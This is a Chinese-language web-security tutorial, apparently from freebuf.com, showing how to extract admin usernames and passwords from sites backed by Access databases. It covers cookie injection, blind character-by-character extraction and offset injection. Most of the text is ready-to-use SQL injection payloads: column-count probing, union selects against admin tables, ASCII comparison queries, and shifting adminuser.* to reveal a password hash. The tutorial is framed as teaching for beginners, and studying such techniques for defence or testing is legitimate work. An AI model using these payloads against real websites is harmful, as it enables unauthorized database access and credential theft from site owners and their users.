相信各位师傅对Access数据库并不陌生,今天小编也总结了一下Access数据库的几种注入方式:cookie注入、偏移注入、逐字查询法,下面我会给大家演示在实际挖掘中如何去利用以上这些方式。希望能对初入网安的小白和萌新有所帮助,如有讲的不好的地方也欢迎各位师傅指正!
cookie注入:
一、打开火狐的hackerbay插件,勾选cookies选项并将参数ID=54放入插件最下方的文本框
二、查询字段长度
ID=54+order+by+13 //正常 ID=54+order+by+14 //报错
三、查看显示位
ID=54+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13+from+admin
四、由上图可得知回显位为8和2,将想要查询的敏感字段放入这两个位置即可爆出字段内容
ID=54+union+select+1,password,3,4,5,6,7,username,9,10,11,12,13+from+admin
逐字查询法:
一、查询表名
and exists (select * from admin) //页面返回正常,admin这个表存在
二、查询admin表中的列名
and exists (select admin from admin) //页面返回正常,为admin的表名中存在admin这个列 and exists (select password from admin) //页面返回正常,为admin的表名中存在password这个列
三、查询admin和password的长度
and (select top 1 len(password) from admin)=16 //页面返回正常,password的长度为16 and (select top 1 len(admin) from admin)=5 //页面返回正常,admin的长度为5
四、查询两个字段的ASCII编码
1.password:
and (select top 1 asc(mid(password,1,1)) from admin)>=100 //当>=100时返回正确,>=101时返回错误,则第一位ASCII编码为100 and (select top 1 asc(mid(password,2,1)) from admin)>=98 //当>=98时返回正确,>=99时返回错误,则第二位ASCII编码为98 and (select top 1 asc(mid(password,3,1)) from admin)>=97 //当>=97时返回正确,>=98时返回错误,则第三位ASCII编码为97
以此类推到第16位……….
2.admin
and (select top 1 asc(mid(admin,1,1)) from admin)>=97 //当>=97时返回正确,>=98时返回错误,则第一位ASCII编码为97 and (select top 1 asc(mid(admin,2,1)) from admin)>=100 //当>=100时返回正确,>=101时返回错误,则第二位ASCII编码为100
以此类推到第五位……………..
3.最终得到的数据根据ASCII码对照表进行转换即可得到“password”,“admin”的字段内容
偏移注入:
当我们遇到知道表名却不知道列名的情况下可以考虑使用偏移注入
一、判断字段长度
order by 11 //返回正常 order by 12 //返回错误
二、使用联合查询(union select)
三、判断表内存在的字段数
接下来我们利用 * 代替adminuser表内存在的字段,由于是11个字段数,需要逐步测试,直到返回正常。
union select 1,2,3,4,5,6,7,8,9,10,* from adminuser //返回错误 union select 1,2,3,4,5,6,7,8,9,* from adminuser //返回错误 union select 1,2,3,4,5,6,7,8,* from adminuser //返回错误 union select 1,2,3,4,5,6,7,* from adminuser //返回错误 union select 1,2,3,4,5,6,* from adminuser //返回错误 union select 1,2,3,4,5,* from adminuser //返回正常,因此可判断列数为6
四、使用移位溢注进行查询
所以构造的语句中adminuser.*,与字段数加起来的和应该为11(adminuser.*=6)
union select 1,2,3,4,5,adminuser.* from adminuser //无敏感回显字段,继续像左移动 union select 1,2,3,4,adminuser.*,11 from adminuser //无敏感回显字段,继续像左移动 union select 1,2,3,adminuser.*,10,11 from adminuser //无敏感回显字段,继续像左移动 union select 1,2,adminuser.*,9,10,11 from adminuser //无敏感回显字段,继续像左移动 union select 1,adminuser.*,8,9,10,11 from adminuser //爆出了admin字段,我们继续往下移动 union select adminuser.*,7,8,9,10,11 from adminuser //爆出了0e5658076df9c9123354de898d9cfd1c
文章至此就结束了,文章主要是分享给一些刚刚学习渗透的小白以及萌新人群,希望对你们有一定的帮助。本人也很少写文章,语言总结的可能不是专业,还请各位不要见怪!同时也欢迎各位师傅以及前辈指正文章的不足哦~~~
来源:freebuf.com 2020-03-18 18:31:44 by: G0tHji
请登录后发表评论
注册